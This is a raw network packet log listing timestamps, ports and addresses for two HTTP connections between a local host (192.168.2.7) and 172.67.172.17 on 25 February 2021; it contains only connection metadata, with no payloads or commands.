Feb 25, 2021 15:14:53.231070042 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.231095076 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.231188059 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.231218100 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.231239080 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.231244087 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.231267929 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.231291056 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.231292009 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.231317043 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.231329918 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.231342077 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.231369972 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.231379986 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.231394053 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.231417894 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.231436968 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.231446028 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.231470108 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.231484890 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.231493950 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.231532097 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.232096910 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.232131004 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.232156038 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.232182980 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.232187986 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.232212067 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.232224941 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.232235909 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.232259035 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.232271910 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.232281923 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.232305050 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.232321978 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.232341051 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.232358932 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.232378006 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.232397079 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.232418060 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.232439995 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.232439995 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.232477903 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.232914925 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.232944012 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.232961893 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.232978106 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.232994080 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.233011007 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.233026981 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.233056068 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.233072042 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.233088970 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.233107090 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.233123064 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.233141899 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.233160019 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.233189106 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.233212948 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.233227015 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.233268976 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.233864069 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.233894110 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.233916044 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.233939886 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.233958006 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.233962059 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.233975887 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.233984947 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.234005928 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.234019995 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.234028101 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.234051943 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.234064102 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.234074116 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.234096050 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.234110117 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.234117031 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.234138012 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.234152079 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.234158993 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.234179974 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.234195948 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.234201908 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.234237909 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.234889030 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.234916925 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.234939098 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.234961987 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.234975100 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.234985113 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.235006094 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.235008955 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.235028028 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.235050917 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.235052109 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.235071898 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.235091925 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.235093117 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.235112906 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.235135078 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.235136986 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.235158920 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.235179901 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.235182047 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.235203028 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.235222101 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.235224009 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.235265970 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.235776901 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.235800982 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.235842943 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.235857964 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.235865116 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.235887051 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.235904932 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.235908985 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.235930920 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.235953093 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.235953093 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.235972881 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.235995054 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.235996962 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.236017942 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.236035109 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.236037016 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.236080885 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:55.763298035 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:55.815953016 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:55.834506035 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:55.834533930 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:55.834546089 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:55.834562063 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:55.834578037 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:55.834594011 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:55.834610939 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:55.834625959 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:55.834640980 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:55.834656954 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:55.834676027 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:55.834693909 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:55.834709883 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:55.834724903 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:55.834741116 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:55.834753036 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:55.834762096 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:55.834765911 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:55.834815979 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:55.834822893 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:55.834826946 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:55.834889889 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:55.835210085 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:55.835228920 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:55.835243940 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:55.835259914 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:55.835278988 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:55.835297108 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:55.835305929 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:55.835311890 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:55.835315943 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:55.835334063 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:55.835350990 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:55.835361004 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:55.835370064 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:55.835378885 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:55.835387945 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:55.835405111 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:55.835423946 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:55.835438967 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:55.835453033 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:55.835459948 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:55.835500002 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:55.835510015 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:55.835525036 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:55.835536957 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:55.835547924 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:55.835591078 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:55.837172031 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.678637028 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.725442886 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.726000071 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.726012945 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.774668932 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.804352999 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.804375887 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.804394007 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.804405928 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.804420948 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.804438114 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.804452896 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.804469109 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.804483891 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.804502964 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.804502964 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.804955959 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.805505037 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.805521965 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.805910110 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.806611061 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.806632042 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.806731939 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.807740927 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.807760000 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.808832884 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.808841944 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.808854103 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.808984041 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.809926033 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.809943914 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.810050011 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.811058998 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.811078072 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.811212063 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.812110901 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.812134027 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.812376022 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.813225031 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.813241959 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.813503027 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.814328909 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.814347029 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.815431118 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.815448999 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.815466881 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.815938950 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.851186037 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.851206064 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.851691008 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.851707935 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.851732016 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.852375031 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.852791071 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.852807999 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.852868080 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.853902102 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.853929043 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.855020046 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.855037928 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.855048895 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.856113911 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.856132030 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.856151104 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.856292963 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.857198954 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.857218981 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.858308077 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.858325958 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.858351946 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.859133005 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.859436035 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.859956980 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.859972954 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.861073017 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.861088991 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.861100912 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.862183094 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.862212896 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.862214088 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.863281965 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.863291025 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.863302946 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.864401102 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.864419937 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.864437103 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.865473032 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.865493059 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.865506887 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.866590977 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.866607904 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.866621017 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.867665052 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.867681980 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.867697954 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.868797064 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.868815899 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.868830919 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.869529009 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.869889021 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.869906902 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.870131016 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.870989084 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.871009111 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.871551037 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.872122049 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.872638941 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.872668982 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.872673988 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.873481035 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.873750925 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.873770952 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.874061108 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.874836922 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.874876022 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.874942064 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.875956059 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.875974894 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.876347065 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.898555994 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.898593903 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.898982048 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.899036884 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.899049997 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.900024891 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.900042057 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.901074886 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.901731968 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.901753902 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.902813911 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.902831078 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.902861118 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.903342962 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.903362989 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.903378963 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.905067921 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.905090094 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.905122042 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.905498028 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.905739069 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.907732964 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.907749891 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.907999039 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.908261061 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.908296108 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.908346891 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.909291029 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.909311056 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.909385920 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.911119938 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.911138058 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.911222935 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.911608934 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.911629915 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.912612915 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.912641048 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.912658930 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.913677931 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.913712978 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.913733959 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.914714098 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.914735079 CET	80	49730	172.67.172.17	192.168.2.7
